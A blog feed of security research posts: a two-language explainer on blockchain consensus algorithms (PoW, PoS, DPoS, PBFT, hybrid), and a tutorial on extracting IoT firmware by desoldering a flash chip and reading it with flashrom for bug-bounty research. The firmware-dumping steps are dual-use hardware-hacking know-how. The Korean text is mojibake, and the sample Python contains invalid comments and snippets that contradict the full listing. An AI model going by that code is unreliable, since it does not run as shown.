    Client๊ฐ€ f+1๊ฐœ์˜ ์ผ์น˜ํ•˜๋Š” ์‘๋‹ต์„ ๋ฐ›์œผ๋ฉด, ํ•ด๋‹น ์š”์ฒญ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์ฒ˜๋ฆฌ๋˜์—ˆ์Œ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

PBFT๋Š” ๋น ๋ฅธ ํŠธ๋žœ์žญ์…˜ ํ™•์ •๊ณผ ๋†’์€ ๋ณด์•ˆ์„ฑ์„ ์ œ๊ณตํ•˜๋Š” ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด์—์š”. PoW๋‚˜ PoS์™€ ๋‹ฌ๋ฆฌ ์—ฐ์‚ฐ ๊ฒฝ์Ÿ์ด ์—†๊ณ , 1/3 ์ดํ•˜์˜ ๋น„์ž”ํ‹ด ์žฅ์• ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉด์„œ๋„ ๋„คํŠธ์›Œํฌ๋ฅผ ์•ˆ์ •์ ์œผ๋กœ ์šด์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์žฅ์ ์ด ์žˆ์–ด์š”. ํ•˜์ง€๋งŒ ๋„คํŠธ์›Œํฌ๊ฐ€ ์ปค์งˆ์ˆ˜๋ก ํ•ฉ์˜ ๊ณผ์ •์ด ๋Š๋ ค์ง€๊ธฐ ๋•Œ๋ฌธ์— ํ™•์žฅ์„ฑ์ด ์ œํ•œ๋˜๋Š” ๋‹จ์ ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
PBFT๋Š” Hyperledger Fabric, Zilliqa ๋“ฑ์—์„œ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ํ”„๋ผ์ด๋น— ๋ธ”๋ก์ฒด์ธ์ด๋‚˜ ์†Œ๊ทœ๋ชจ ๋…ธ๋“œ ๋„คํŠธ์›Œํฌ์—์„œ ์ ํ•ฉํ•œ ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์œผ๋กœ ํ‰๊ฐ€๋ฐ›๊ณ  ์žˆ์–ด์š”.

์ง€๊ธˆ๊นŒ์ง€ 5๊ฐ€์ง€ ๋ธ”๋ก์ฒด์ธ ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์•Œ์•„๋ณด์•˜์–ด์š”! ์ž์„ธํ•˜๊ฒŒ ์„ค๋ช…ํ•œ ๊ฒƒ๋„ ์žˆ๊ณ , ๊ทธ๋ ‡์ง€ ์•Š์€ ๊ฒƒ๋„ ์žˆ๋Š”๋ฐ, ์•„๋ฌด๋ž˜๋„ ๊ณต๋ถ€๋ฅผ ํ•˜๋ฉด์„œ ๊ฐ€์žฅ ์ต์ˆ™ํ•œ ๊ฑด ์ž‘์—… ์ฆ๋ช…๊ณผ ์ง€๋ถ„ ์ฆ๋ช…์ด์—ˆ๋˜์ง€๋ผ ๋‚ด์šฉ์ด ์กฐ๊ธˆ ๋งŽ๋„ค์š”. ์ด์™ธ์—๋„ ๋งŽ์€ ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ์žˆ๋Š”๋ฐ, ์˜ค๋Š˜์€ ์ž˜ ์•Œ๋ ค์ง„ 5๊ฐ€์ง€๋งŒ ๋‹ค๋ค„๋ณด์•˜์Šต๋‹ˆ๋‹ค.
๊ธด ๊ธ€ ์ฝ์–ด์ฃผ์…”์„œ ๊ฐ์‚ฌํ•˜๊ณ  ํฅ๋ฏธ๋กœ์šด ๋‚ด์šฉ์ด ์žˆ์œผ๋ฉด ๋˜ ์ •๋ฆฌํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค! ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค ๐Ÿ‘‹

[Research] Five Consensus Algorithms in Blockchain [en]

9 March 2025 at 08:00

Introduction

Hello! Itโ€™s bekim.

In my previous post, I briefly explained that transactions in the Bitcoin network become possible by adding new blocks through a mechanism called โ€œProof of Work.โ€. But, PoW isn\โ€™t the only consensus algorithm available. Actually there are actually many different consensus algorithms used in blockchain systems.
A consensus algorithm is basically the mechanism by which participants in a blockchain network agree on choosing a single valid block and maintaining the chain.
In this post, Iโ€™ll introduce various consensus algorithms: PoW, PoS, DPoS, PBFT, and Hybrid PoW/PoS.

1. Proof of Work (PoW)

To explain this a bit further, Proof of Work is a method where participants (miners) need to find a hash value that meets a specific difficulty requirement. This mechanism was first introduced by Bitcoin. Miners repeatedly adjust a Nonce value, attempting to find a hash that matches the target difficulty.
Bitcoin aims to generate a new block roughly every 10 minutes. To keep this timing consistent, the network automatically adjusts the mining difficulty approximately every two weeks (every 2016 blocks)
Now, letโ€™s take a closer look at how Proof of Work (PoW) functions in Bitcoinโ€™s latest implementation.

unsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params){    assert(pindexLast != nullptr);    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();// Only change once per difficulty adjustment interval    // [1]     if ((pindexLast->nHeight+1) % params.DifficultyAdjustmentInterval() != 0)    {        if (params.fPowAllowMinDifficultyBlocks)        {            // Special difficulty rule for testnet:            // If the new block's timestamp is more than 2* 10 minutes            // then allow mining of a min-difficulty block.            // [2]            if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2)                return nProofOfWorkLimit;            else            {                // Return the last non-special-min-difficulty-rules-block                // [3]                const CBlockIndex* pindex = pindexLast;                while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)                    pindex = pindex->pprev;                return pindex->nBits;            }        }        // [4]        return pindexLast->nBits;    }    // Go back by what we want to be 14 days worth of blocks    // [5]    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    assert(nHeightFirst >= 0);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    assert(pindexFirst);    return CalculateNextWorkRequired(pindexLast, pindexFirst->GetBlockTime(), params);}

[1] Bitcoin adjusts the mining difficulty approximately every two weeks (every 2016 blocks). If the next blockโ€™s height (pindexLast->nHeight+1) is not a multiple of 2016 (params.DifficultyAdjustmentInterval()), Bitcoin retains the difficulty level (pindexLast->nBits)[4] from the previous block without any adjustment.
[2]In Bitcoinโ€™s Testnet, there is an exception rule: if no new block is generated for 20 minutes (twice the normal 10-minute interval), the network temporarily reduces the difficulty to its minimum value (nProofOfWorkLimit).
[3] Even after this temporary minimum difficulty adjustment on Testnet, once miners successfully generate subsequent blocks, the difficulty returns to its previous normal level. This is done by tracking backwards through recent blocks to find the most recent valid difficulty value
const CBlockIndex* pindex = pindexLast;while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)    pindex = pindex->pprev;return pindex->nBits;

For this purpose, Bitcoin checks the most recently added block (pindexLast) and traces back from there. While traversing backward through previous blocks, Bitcoin skips blocks where the difficulty was temporarily reduced to the minimum (pindex->nBits == nProofOfWorkLimit). Specifically, it continues moving backward through blocks that havenโ€™t yet reached the difficulty adjustment interval (pindex->nHeight % params.DifficultyAdjustmentInterval() != 0) until it finds a block where an actual difficulty adjustment occurred. At that point, it stops searching and uses that blockโ€™s difficulty as a reference.

[5] However, if the current block height (pindexLast->nHeight) is a multiple of the difficulty adjustment interval (2016 blocks), Bitcoin recalculates the difficulty level instead of using the previous one.


Bitcoin is designed so that if the previous 2016 blocks were generated faster than expected, the difficulty increases. On the other hand, if those blocks were generated more slowly than expected, the difficulty is lowered.

unsigned int CalculateNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params){    if (params.fPowNoRetargeting)        return pindexLast->nBits;    // Limit adjustment step    // [1]    int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;    // [2]    if (nActualTimespan < params.nPowTargetTimespan/4)        nActualTimespan = params.nPowTargetTimespan/4;    if (nActualTimespan > params.nPowTargetTimespan*4)        nActualTimespan = params.nPowTargetTimespan*4;    // Retarget    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);    arith_uint256 bnNew;    // Special difficulty rule for Testnet4    // [3]    if (params.enforce_BIP94) {        // Here we use the first block of the difficulty period. This way        // the real difficulty is always preserved in the first block as        // it is not allowed to use the min-difficulty exception.        int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);        const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);        bnNew.SetCompact(pindexFirst->nBits);    } else {        bnNew.SetCompact(pindexLast->nBits);    }// [4]    bnNew *= nActualTimespan;    bnNew /= params.nPowTargetTimespan;// [5]    if (bnNew > bnPowLimit)        bnNew = bnPowLimit;    return bnNew.GetCompact();}

[1] First, The network compares the timestamp of the latest block (pindexLast->GetBlockTime()) with the timestamp from 2016 blocks ago (nFirstBlockTime) to calculate the actual time taken to generate the previous 2016 blocks, storing this result in nActualTimespan. This value serves as the basis for adjusting the difficulty later.
int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;

[2] Bitcoin measures nActualTimespan and compares it to the target time (params.nPowTargetTimespan) to adjust the difficulty. To prevent drastic changes in difficulty, the adjustment is limitedโ€”difficulty can only increase up to 1/4 of the target time or decrease up to 4 times the target time.

if (nActualTimespan < params.nPowTargetTimespan/4)    nActualTimespan = params.nPowTargetTimespan/4;if (nActualTimespan > params.nPowTargetTimespan*4)    nActualTimespan = params.nPowTargetTimespan*4;

This limitation helps prevent sudden fluctuations in the network.
The process of determining the reference block for difficulty adjustment depends on the value of params.enforce_BIP94.
If this rule is applied, the difficulty of the block 2016 blocks before the current one (pindexFirst->nBits) is used as the reference. This helps prevent exceptional cases where the difficulty could drop to the minimum value. If the rule is not applied, the difficulty of the current block (pindexLast->nBits) is used instead.
This approach helps prevent the difficulty from dropping abnormally low in environments like Testnet.
if (params.enforce_BIP94) {    // Here we use the first block of the difficulty period. This way    // the real difficulty is always preserved in the first block as    // it is not allowed to use the min-difficulty exception.    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    bnNew.SetCompact(pindexFirst->nBits);} else {    bnNew.SetCompact(pindexLast->nBits);}

BIP (Bitcoin Improvement Proposal): A proposal for improving the Bitcoin protocol. BIP94 is one of these proposals and is designed to prevent the difficulty from dropping excessively in certain networks (such as Testnet4) during difficulty adjustments.

[4] After that, Bitcoin calculates the new difficulty using the nActualTimespan value. Bitcoin sets the target block generation time to 10 minutes, and assuming 2016 blocks are created, the target time (params.nPowTargetTimespan) is approximately two weeks (1,209,600 seconds). The difficulty is then adjusted based on the ratio between the actual block generation time and the target time.

bnNew *= nActualTimespan;bnNew /= params.nPowTargetTimespan;

In other words, the new difficulty is adjusted using the formula:
New Difficulty = (Current Difficulty ร— Actual Time Taken) / Target Time

By applying this formula, Bitcoin ensures that the average block generation time stays around 10 minutes.
[5] Plus, to prevent the difficulty from dropping too low, it is restricted from falling below the minimum difficulty (bnPowLimit).

if (bnNew > bnPowLimit)    bnNew = bnPowLimit;

The calculated difficulty is then applied to the next block, and miners must solve for this target value.
However, as mentioned in a previous post, the PoW method requires a massive amount of computation, which means it uses a ton of energy.
On top of that, with the rise of large-scale mining pools, there is a risk that one group could control more than 51% of the networkโ€™s hash power. If that happens, they could manipulate transactions or even pull off a double-spending attack.
To overcome these limitations of PoW, the Proof of Stake (PoS) consensus algorithm was introduced.

2. Proof of Stake (PoS)

Proof of Stake (PoS) is a consensus algorithm that grants block creation and validation rights based on the amount of cryptocurrency a user holds and how long theyโ€™ve held it.
In PoW, miners have to solve complex mathematical problems, but in PoS, users can participate as validators by staking a certain amount of the networkโ€™s cryptocurrency. The more coins a validator stakes, the higher their chances of being selected to create a new block. PoS also enhances security through economic incentives. honest validators receive rewards, while those who engage in fraudulent activities face penalties, such as losing a portion of their staked funds.
The PoS concept was first implemented in Peercoin in 2012, and many blockchains have adopted it since then. In 2022, Ethereum also transitioned from PoW to PoS.

I was going to use Ethereum as an example to explain how PoS works, but analyzing its code would make this post way too long. So instead, letโ€™s break it down using a highly simplified version of the PoS consensus algorithm to understand the core principles.

import randomimport hashlibimport time// [1]class Validator:    def __init__(self, address, stake):        self.address = address  # Validator address        self.stake = stake         self.vote_weight = stake          def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"class PoSBlockchain:    def __init__(self):        self.validators = []         self.blocks = []        def register_validator(self, address, stake):        if stake < 32:            print(f"[ERROR] {address} need to stake over 32 ETH")            return        validator = Validator(address, stake)        self.validators.append(validator)        print(f"[INFO] {validator} registered as a validator.")// [2]    def select_proposer(self):        """ Randomly select a block proposer """        total_stake = sum(v.stake for v in self.validators)        rand_value = random.uniform(0, total_stake)                cumulative = 0        for validator in self.validators:            cumulative += validator.stake            if rand_value <= cumulative:                print(f"[INFO] selected validator: {validator.address}")                return validator// [3]    def create_block(self, proposer):        """ Generate a block and calculate hash """        prev_hash = self.blocks[-1]['hash'] if self.blocks else "GENESIS"        timestamp = time.time()        block_data = f"{proposer.address}-{timestamp}-{prev_hash}"        block_hash = hashlib.sha256(block_data.encode()).hexdigest()        block = {"proposer": proposer.address, "hash": block_hash, "prev_hash": prev_hash}        return block// [4]    def validate_and_vote(self, block):        votes = 0        for validator in self.validators:            if random.random() > 0.1:  # 90% probability of a valid vote                votes += validator.vote_weight                required_votes = sum(v.stake for v in self.validators) * 0.67  # At least 67% approval required        if votes >= required_votes:            self.blocks.append(block)            print(f"[INFO] Validation: {block['hash']}")            return True        else:            print("[WARNING] Not enough votes ")            return False// [5]    def run_consensus(self):        proposer = self.select_proposer()        if proposer:            new_block = self.create_block(proposer)            self.validate_and_vote(new_block)pos_chain = PoSBlockchain()pos_chain.register_validator("Alice", 50)pos_chain.register_validator("Bob", 40)pos_chain.register_validator("Charlie", 32)pos_chain.register_validator("Dave", 100)for _ in range(3):    pos_chain.run_consensus()

[1] In Ethereum, you need to stake 32 ETH to participate as a validator.

class Validator:    def __init__(self, address, stake):        self.address = address          self.stake = stake              def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"

[2] Participants who stake more coins have a higher chance of being selected as the next block validator, but the selection process also involves randomization algorithms to make it unpredictable and harder to manipulate

def select_proposer(self):    """Select a block proposer randomly, weighted by stake"""    total_stake = sum(v.stake for v in self.validators.values())    rand_value = random.uniform(0, total_stake)    cumulative = 0    for validator in self.validators.values():        cumulative += validator.stake        if rand_value <= cumulative:            print(f"[INFO] Selected proposer: {validator.address}")            return validator    return None

[3] The selected validator bundles new transactions, creates a block, and proposes it to the blockchain.

def create_block(self, proposer):    """Generate a new block"""    prev_hash = self.blockchain[-1]['Hash']    new_block = {        "Index": len(self.blockchain),        "Timestamp": str(datetime.now()),        "PrevHash": prev_hash,        "Validator": proposer.address    }    new_block["Hash"] = self.hash_block(new_block)    return new_block

[4] Other validators participate in the consensus process by verifying the blockโ€™s validity and voting on it. In Ethereum, at least 128 validators must review and vote on a block. Once enough consensus is reached through this voting process, the block is added to the blockchain.

def validate_and_vote(self, block):    """Simulate validator voting process"""    total_stake = sum(v.stake for v in self.validators.values())    votes = sum(v.stake for v in self.validators.values() if random.random() > 0.1)  # # 90% chance to approve    if votes >= total_stake * 0.67:  # Requires at least 67% approval         self.blockchain.append(block)        print(f"[INFO] Block added: {block['Hash']}")        return True    else:        print("[WARNING] Block rejected due to insufficient votes.")        return False

[5] Validators who successfully create a valid block receive transaction fees and network rewards as compensation.

def run_consensus(self):    """Run the PoS consensus process"""    proposer = self.select_proposer()    if proposer:        new_block = self.create_block(proposer)        self.validate_and_vote(new_block)        proposer.stake += 5  # reward        print(f"[INFO] {proposer.address} received 5 ETH as a reward.")

If a validator engages in dishonest behavior or fails to perform the required validation tasks, they face penalties. For example, if a validator goes offline and fails to validate blocks, they may receive reduced rewards or have a portion of their staked funds slashed. In more severe cases, such as double signing or approving an invalid block, the validator can be slashed, meaning they lose some or even all of their staked funds and get removed from the network.

Because of this system, PoS helps maintain the security and integrity of the network while being more energy-efficient than PoW. However, PoS has its own limitations. Those who hold more coins tend to have a continuous advantage, leading to potential centralization risks in the network.

3. Hybrid PoW/PoS

Complete Overview of Decredโ€™s Structure [Source: https://medium.com/decred/blockchain-governance-how-decred-iterates-upon-bitcoin-3cc7030c655e]

The traditional PoW provides high security but has high energy consumption and the issue of mining monopolization. On the other hand, the PoS method is energy-efficient but comes with the risk of validator monopoly. To solve this, the Hybrid PoW/PoS model emerged. In this method, PoW is used to generate blocks, while PoS validators approve them.
First, a miner performs computations using the Proof-of-Work method to create a new block. However, the created block is not immediately added to the chain but goes through a final approval process via the PoS validatorsโ€™ vote. PoS validators participate by staking a certain amount of the cryptocurrency they hold, and randomly selected validators evaluate the validity of the block and vote on it. Typically, if at least 3 out of 5 validators approve, the block is validated and added to the blockchain. The rewards are distributed to both PoW miners and PoS validators. For example, in Decred (DCR), 60% of the reward is given to PoW miners, 30% goes to PoS validators, and the remaining 10% is allocated to the network development fund. Through this, excessive monopolization by PoW miners is prevented, and PoS validators are incentivized to actively participate in maintaining the network.
By combining PoWโ€™s high security with PoSโ€™s energy efficiency, this structure strengthens resistance against 51% attacks and mitigates validator centralization issues.

4. DPoS (Delegated Proof of Stake)

Delegated Proof of Stake (DPoS) is an improved version of the traditional PoS consensus algorithm, designed to make transaction verification and block generation in blockchain networks more efficient. Instead of users directly creating blocks, DPoS allows them to elect delegates, who are then entrusted with the responsibility of validating transactions and generating blocks.

First, all token holders vote based on their stake to elect delegates. These elected delegates take turns generating and validating blocks in a fixed order, playing a key role in maintaining the network.

In this system, the integrity of the delegates is crucial. Voting is an ongoing process, and if a delegate fails to create blocks or engages in dishonest behavior, token holders can replace them through re-elections. Because DPoS operates in a more democratic manner and delegates take turns producing blocks, it achieves faster block finalization times, leading to better network performance. Additionally, since there is no mining competition, energy consumption is significantly lower compared to PoW. However, since the number of delegates is limited, DPoS carries a higher risk of centralization compared to PoW or PoS. If a small group of delegates collude, it could undermine the fairness of the network.

Notable DPoS-based blockchains include EOS and TRON, as well as projects like Steem and Lisk, which also utilize DPoS. In these systems, a fixed number of delegates manage the network and execute the consensus process efficiently.

5. PBFT (Practical Byzantine Fault Tolerance)

Those who have studied blockchain may have heard of the Byzantine Generals Problem.
The Byzantine fault tolerance problem was designed to address this issue and is described as follows:

  • A group of Byzantine generals has surrounded an enemy city. They cannot communicate directly with each other and must rely on messengers to exchange information. The problem is that some of the generals might be traitors. Loyal generals need to either attack together or retreat together, but the traitors aim to create confusion, causing some to attack while others retreat, ultimately ruining the operation.
  • In this situation, loyal generals must achieve two key goals:
    • All loyal generals must reach the same decisionโ€”either they all attack or they all retreat.
    • The traitors must not be able to spread false information that leads to an incorrect decision.
  • The loyal generals must maintain these two conditions under any circumstances. However, the traitors can do anythingโ€”they can send false messages, alter communications, or deceive others in various ways.

Thus, the generals need a reliable communication method (algorithm) that enables them to reach a correct agreement in any situation.
This is the essence of the โ€œByzantine Generals Problem.โ€
PBFT (Practical Byzantine Fault Tolerance) is a consensus algorithm designed to ensure secure agreement within a network, even if some nodes fail to respond or provide incorrect information. In particular, when there are 3f + 1 nodes, the system can remain secure and functional even if up to f nodes are malicious (Byzantine). Unlike PoW or PoS, this consensus algorithm does not require computational competition. Instead, it operates based on a voting system, allowing for faster transaction finality.

Figure 1. Byzantine Generals Problem Image [Source: Attached research paper]

PBFT consists of clients and replicas, with one of the replicas acting as the leader (Primary) node. To achieve consensus, it follows a four-step protocol: Request, Pre-prepare, Prepare, and Commit. (f: The number of nodes that can exhibit Byzantine faults)

  1. Request
    The client sends a request to the leader node.

  2. Pre-Prepare
    The leader node broadcasts the request to all backup nodes. At this stage, if the leader node is malicious, it could propagate an incorrect request. However, the following steps will verify its validity.

  3. Prepare
    Each backup node verifies the Pre-Prepare message sent by the leader node and then broadcasts a PREPARE message to the other nodes. At this stage, a node considers the request trustworthy if it receives at least 2f + 1 PREPARE messages for the same request.

  4. Commit
    Each backup node considers the request trustworthy once it receives 2f + 1 PREPARE messages and then sends a COMMIT message to the other nodes. Nodes finalize the request when they receive 2f + 1 COMMIT messages for the same request.

  5. Reply
    The client confirms that the request has been successfully processed once it receives f + 1 matching responses.

PBFT is a consensus algorithm that provides fast transaction finality and high security. Unlike PoW or PoS, it does not rely on computational competition and can maintain network stability even with up to one-third Byzantine faults. However, as the network grows, the consensus process slows down, making scalability a major limitation. PBFT is used in Hyperledger Fabric, Zilliqa, and other blockchain projects. It is considered a suitable consensus algorithm for private blockchains and small-scale node networks.
Weโ€™ve explored 5 different blockchain consensus algorithms so far. Some were explained in detail, while others were covered more briefly. Since Proof of Work (PoW) and Proof of Stake (PoS) are the most familiar ones from my studies, I ended up writing a bit more about them.
Of course, there are many other consensus algorithms out there, but for today, I focused on these five well-known ones.
Thanks for reading this long post! If I come across more interesting topics, Iโ€™ll make sure to summarize them again. ๐Ÿ‘‹

[Research] Flash Memory Dump with Flashrom

9 March 2025 at 03:00

Hello! Iโ€™m newp1ayer48, and itโ€™s a pleasure to introduce myself! ๐Ÿ™‡๐Ÿป

The start of IoT / Embedded hacking and its most crucial part is obtaining the firmware.

Firmware is essential because, with it, you can understand how the device operates, analyze the vectors where vulnerabilities may arise, and analyze the code.

There are several ways to obtain firmware, but here are some representative methods:

  • Downloading firmware from official websites
  • Sniffing firmware update packets
  • Dumping firmware through debugging ports (UART, JTAG, etc.)
  • Directly connecting to Flash Memory dumping the firmware

Flash memory is a chip typically used for storage purposes and is commonly found in IoT devices in an 8-pin form.

Since the firmware is ultimately stored in this Flash Memory chip, directly extracting the firmware from Flash Memory has the advantage of being a more reliable method.

Using the flashrom program, you can easily extract the firmware from Flash Memory.

However, this method can potentially damage the equipment and board, so you should proceed with caution. โš ๏ธ

Because heat is applied directly to the board using tools like soldering irons or heat guns, there is a risk of damaging the chip or the board, and improper connections may lead to short circuits.

Due to these risks, you may end up damaging IoT/embedded equipment that was purchased for bug bounty purposes.

Itโ€™s somewhat like trying to extract a golden egg by cutting open a gooseโ€™s belly, only to kill the goose in the processโ€ฆ ๐Ÿชฆ

If you need to extract firmware, itโ€™s best to try the other methods mentioned above before opting for a Flash memory dump.

The flow for performing a Flash memory dump using flashrom is as follows: ๐Ÿ“

  1. Install flashrom on Raspberry Pi
  2. Flash Memory Chip Off
  3. Connect Flash Memory chip to Raspberry Pi
  4. Flash memory dump

Hereโ€™s a list of the required equipment and tools: ๐Ÿ’ธ

  • Raspberry Pi (64 Bit)
  • IC Test Hook Clip (SDK08)
  • Heat Gun
  • Jumper cables and breadboard

1. Installing flashrom

https://www.flashrom.org/

Flashrom is a development tool that allows you to flash data and images to flash chips.

It offers functions like detecting, reading, writing, verifying, and erasing, which makes it useful for embedded hacking to extract firmware from flash memory.

You need to install the necessary dependencies and use meson to install it on Raspberry Pi. ๐Ÿ’

Prepare your Raspberry Pi in 64-bit mode for installation.

sudo apt-get install -y gcc meson ninja-build pkg-config python3-sphinx libcmocka-dev libpci-dev libusb-1.0-0-dev libftdi1-dev libjaylink-dev libssl-devgit clone https://github.com/flashrom/flashrommeson setup builddirmeson compile -C builddirmeson test -C builddirmeson install -C builddir

2. Flash Memory Chip Off

When extracting the chip with flashrom, performing the dump while the chip is still attached to the board may result in unsuccessful extraction. ๐Ÿ‘ป

The reason varies depending on the equipment and board, but usually, the Raspberry Pi provides power to the entire board, which may introduce noise signals that could interfere with the extraction process.

The following image shows the Raspberry Piโ€™s VCC and GND pins touching the corresponding pins on the Flash Memory chip, confirming that power is supplied to the board.

For this reason, itโ€™s better to remove the chip from the board and connect only the chip.

Use a heat gun to melt the solder and remove the chip from the board.

Be cautious during this process as the risk of damaging the board is quite high.

3. Connecting the Flash Memory Chip to the Raspberry Pi

Typically, Flash memory used in low-power IoT and embedded devices is an 8-pin chip that uses SPI communication.

While the pin assignments may vary depending on the chip model and vendor, the function of the 8 pins is usually the same, so refer to the datasheet for the pinout.

The datasheet provides all the information for using and describing the chip, so make sure to consult it!

The roles of each of the 8 pins of Flash Memory are as follows: ๐Ÿ“Œ

  • VCC: Supplies power
  • GND: Ground, provides reference voltage
  • SCLK (SCK, CLK): Serial Clock, synchronization signal
  • CS (SS): Chip Select, selects the device and chip
    • This pin is used to select a specific chip from multiple chips on the main MCU.
  • DI (SI): Data Input
    • Used to input data to Flash Memory.
  • DO (SO): Data Output
    • Used to output data from Flash Memory.
  • WP: Write Protect
    • When this pin signal is activated, writing to the Flash Memory is disabled.
  • Hold: Chip Pause
    • When this pin signal is activated, it pauses the operation of the Flash Memory.

Connect the Raspberry Piโ€™s GPIO pins to the Flash Memoryโ€™s pins.

The VCC, Hold, and WP pins on the Flash Memory use the VCC power signal. Since Raspberry Piโ€™s GPIO pins lack enough VCC pins, itโ€™s more convenient to supply the VCC signal using a breadboard or similar method.

Use the IC Test Hook Clip to connect the pins and begin the extraction process.

The thinner the clip, the easier the connection, so itโ€™s recommended to use a thin test clip.

4. Flash Memory Dump

Once everything is connected, execute the following command in the Raspberry Pi terminal to start the extraction process. ๐Ÿ’‰

# Check connection and check chip namesudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 -V# extractionsudo flashrom -p linux_spi:dev=/dev/spidev0.0 -r [filename]sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -c [Chipname] -r [filename]

If the chip is supported, flashrom will begin the extraction process immediately.

However, if the chip is not supported, you can check flashchips.h and flashchips.c. If the chip is not listed, you can add the chip manually and then build it for extraction.

Refer to the datasheet to add the chip information to the flashchips.c file.

const struct flashchip flashchips[] = {/* * .vendor= Vendor name * .name= Chip name * .bustype= Supported flash bus types (Parallel, LPC...) * .manufacture_id= Manufacturer chip ID * .model_id= Model chip ID * .total_size= Total size in (binary) kbytes * .page_size= Page or eraseblock(?) size in bytes * .tested= Test status * .probe= Probe function * .probe_timing= Probe function delay * .block_erasers[]= Array of erase layouts and erase functions * { *.eraseblocks[]= Array of { blocksize, blockcount } *.block_erase= Block erase function * } * .printlock= Chip lock status function * .unlock= Chip unlock function * .write= Chip write function * .read= Chip read function * .voltage= Voltage range in millivolt */

With this process, you can successfully dump the firmware stored in the chip!

After removing the Flash Memory chip, the device wonโ€™t work until itโ€™s reassembledโ€ฆ

But! Reassembly is simply the reverse of disassembly!

Once the Flash Memory chip is properly (!) re-soldered, the device will be usable again!

By extracting the firmware and restoring the device, you can have the best of both worlds! ๐Ÿคฅ

Next, we will cover the commonly attempted UART/JTAG debugging port connections in embedded hacking!Thank you! ๐Ÿ™๐Ÿป

[Research] Flashrom์œผ๋กœ Flash Memory Dumpํ•˜๊ธฐ

9 March 2025 at 03:00

์•ˆ๋…•ํ•˜์„ธ์š”! ์ด๋ฒˆ์— ์ƒˆ๋กœ ์ธ์‚ฌ ๋“œ๋ฆฌ๊ฒŒ ๋œ newp1ayer48 ์ž…๋‹ˆ๋‹ค! ๐Ÿ™‡๐Ÿป

IoT / ์ž„๋ฒ ๋””๋“œ ํ•ดํ‚น์˜ ์‹œ์ž‘์ด์ž, ๊ฐ€์žฅ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์€ ํŽŒ์›จ์–ด๋ฅผ ํš๋“ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํŽŒ์›จ์–ด๊ฐ€ ์žˆ์–ด์•ผ ์žฅ๋น„์˜ ๋™์ž‘์„ ์ดํ•ดํ•˜๊ณ  ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๋ฒกํ„ฐ์™€ ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

ํŽŒ์›จ์–ด๋ฅผ ํš๋“ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ๊ฐ€์ง€๊ฐ€ ์กด์žฌํ•˜์ง€๋งŒ ๋Œ€ํ‘œ์ ์ธ ๋ฐฉ๋ฒ•๋“ค์„ ์•„๋ž˜์ฒ˜๋Ÿผ ์ •๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๊ณต์‹ ํ™ˆํŽ˜์ด์ง€ ๋“ฑ์—์„œ ์ œ๊ณต๋˜๋Š” ํŽŒ์›จ์–ด ๋‹ค์šด๋กœ๋“œ
  • ํŽŒ์›จ์–ด ์—…๋ฐ์ดํŠธ ํŒจํ‚ท ์Šค๋‹ˆํ•‘
  • ๋””๋ฒ„๊น… ํฌํŠธ(UART, JTAG ๋“ฑ) ์—ฐ๊ฒฐ์„ ํ†ตํ•œ ํŽŒ์›จ์–ด ๋คํ”„
  • Flash Memory์— ์ง์ ‘ ์—ฐ๊ฒฐํ•˜์—ฌ ํŽŒ์›จ์–ด ๋คํ”„

Flash memory๋Š” ์ €์žฅ ๋ชฉ์ ์œผ๋กœ ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” Chip์œผ๋กœ IoT ๊ธฐ๊ธฐ์—์„œ๋Š” ๋ณดํ†ต 8 pin ํ˜•ํƒœ๋กœ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

